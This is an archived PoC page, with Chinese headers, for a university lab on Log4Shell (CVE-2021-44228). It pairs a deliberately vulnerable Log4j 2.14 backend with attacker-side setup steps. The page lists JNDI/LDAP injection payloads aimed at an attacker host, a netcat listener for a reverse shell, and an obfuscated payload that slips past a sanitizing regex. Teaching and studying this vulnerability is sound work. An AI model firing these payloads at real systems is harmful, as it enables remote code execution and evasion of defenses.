POC详情: 96cd38d01f57960b9518530ec7b5b3414d36357b

来源
关联漏洞
标题: Apache Log4j 代码问题漏洞 (CVE-2021-44228)
描述:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
描述
Proof of Concept (PoC) for the Log4Shell vulnerability (CVE-2021-44228), developed as part of the coursework for the curricular unit TPAS in the Master's degree in Information Security at FCUP.
介绍
# TPAS Log4Shell PoC

This repository contains a Proof of Concept (PoC) for the Log4Shell vulnerability (CVE-2021-44228), developed as part of the coursework for the curricular unit TPAS in the Master's degree in Information Security at FCUP.

It features:
 - A React SPA frontend that simulates a generic e-commerce website with basic features such as browsing products and view basic details such as description, price, rating, etc.., provided via the dummy json api https://dummyjson.com/docs/products
 - A Spring Boot REST API backend that uses a vulnerable version of Log4j 2.14.
 - A bash script that sets up most of the attacker side of things needed to exploit Log4Shell.

To run this stack you need to:
 - On the target host:
     - Install docker
     - Replace the <target_ip> on the NEXT_PUBLIC_BACKEND_URL env var on docker-compose.yaml
     - Run docker-compose up
 - On the attacker host:
     - Install java, python and maven
     - Open the required ports, "./init.sh --help" to see the ports and what the script does
     - Run the script init.sh
     - Run a netcat listener, nc -lvnp <port>

Once everything is running:

Place this payload on the search bar (URL encoded since it will be on a GET query param):

```
%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D
```

Or place this payload on the headers of a request (you can use burp suite to intercept a request and tamper it):

```
${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}
```

On the website, there is an icon next to the user's name that allows toggling between sanitizing the logged string using the regular expression \\$\\{jndi:.*?} or not. By default, sanitization is disabled, represented by a red demon icon. When sanitization is enabled, the icon changes to a green smiley face.

This feature can be used as a way of simulating a WAF bypass, you can add more regular expressions on the backend's LoggerManager.java class.

Here's a payload that will not be matched by the current regex:

```
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}
```
文件快照
 [4.0K]  /data/pocs/96cd38d01f57960b9518530ec7b5b3414d36357b
├── [4.0K]  backend
│   ├── [ 293]  Dockerfile
│   ├── [ 10K]  mvnw
│   ├── [6.8K]  mvnw.cmd
│   ├── [1.8K]  pom.xml
│   ├── [ 326]  README.md
│   └── [4.0K]  src
│       └── [4.0K]  main
│           ├── [4.0K]  java
│           │   └── [4.0K]  tpas
│           │       └── [4.0K]  poc
│           │           └── [4.0K]  log4shell
│           │               ├── [4.0K]  components
│           │               │   ├── [1.1K]  LoggerManager.java
│           │               │   └── [4.0K]  LoggingWebFilter.java
│           │               ├── [4.0K]  configs
│           │               │   └── [ 667]  CorsConfig.java
│           │               ├── [4.0K]  controllers
│           │               │   ├── [1.2K]  LoggerController.java
│           │               │   └── [1.7K]  ProductController.java
│           │               ├── [4.0K]  dtos
│           │               │   ├── [ 353]  Dimensions.java
│           │               │   ├── [ 444]  Meta.java
│           │               │   ├── [2.0K]  Product.java
│           │               │   ├── [ 320]  ProductsDTO.java
│           │               │   └── [ 534]  Review.java
│           │               ├── [ 782]  Entrypoint.java
│           │               └── [4.0K]  services
│           │                   └── [2.4K]  ProductService.java
│           └── [4.0K]  resources
│               ├── [ 104]  application.properties
│               └── [ 623]  log4j2.xml
├── [ 527]  docker-compose.yaml
├── [4.0K]  frontend
│   ├── [ 423]  components.json
│   ├── [ 352]  Dockerfile
│   ├── [ 471]  next.config.mjs
│   ├── [ 175]  nginx.conf
│   ├── [ 918]  package.json
│   ├── [183K]  package-lock.json
│   ├── [ 135]  postcss.config.mjs
│   ├── [4.0K]  public
│   │   ├── [ 25K]  favicon.ico
│   │   └── [ 376]  mat-icon-search.svg
│   ├── [ 311]  README.md
│   ├── [4.0K]  src
│   │   ├── [4.0K]  components
│   │   │   ├── [4.0K]  layout
│   │   │   │   ├── [1.5K]  Header.tsx
│   │   │   │   └── [2.0K]  Navbar.tsx
│   │   │   ├── [ 572]  Layout.tsx
│   │   │   ├── [4.0K]  product
│   │   │   │   ├── [2.7K]  Categories.ts
│   │   │   │   ├── [3.7K]  ProductCatalog.tsx
│   │   │   │   └── [5.6K]  ProductModal.tsx
│   │   │   └── [4.0K]  ui
│   │   │       ├── [1.1K]  badge.tsx
│   │   │       ├── [1.0K]  blurEffectImage.tsx
│   │   │       ├── [1.8K]  button.tsx
│   │   │       ├── [1.8K]  card.tsx
│   │   │       └── [1.1K]  expandableSearch.tsx
│   │   ├── [4.0K]  hooks
│   │   │   ├── [2.5K]  productsResponseExample.json
│   │   │   ├── [2.2K]  useExploitMode.tsx
│   │   │   └── [2.6K]  useProducts.tsx
│   │   ├── [4.0K]  interfaces
│   │   │   └── [ 872]  Product.ts
│   │   ├── [4.0K]  lib
│   │   │   └── [ 166]  utils.ts
│   │   ├── [4.0K]  pages
│   │   │   ├── [ 181]  _app.tsx
│   │   │   ├── [ 257]  _document.tsx
│   │   │   └── [ 234]  index.tsx
│   │   ├── [4.0K]  stores
│   │   │   └── [ 786]  useProductStore.ts
│   │   └── [4.0K]  styles
│   │       └── [2.5K]  globals.css
│   ├── [1.6K]  tailwind.config.ts
│   └── [ 596]  tsconfig.json
├── [3.6K]  init.sh
├── [4.0K]  jndi-classes
├── [4.0K]  ldap-ref-server
│   ├── [1.4K]  pom.xml
│   ├── [ 366]  README.md
│   └── [4.0K]  src
│       └── [4.0K]  main
│           └── [4.0K]  java
│               └── [4.0K]  tpas
│                   └── [4.0K]  poc
│                       └── [4.0K]  log4shell
│                           └── [4.3K]  LDAPRefServer.java
├── [1.0K]  LICENSE
└── [2.1K]  README.md

34 directories, 59 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。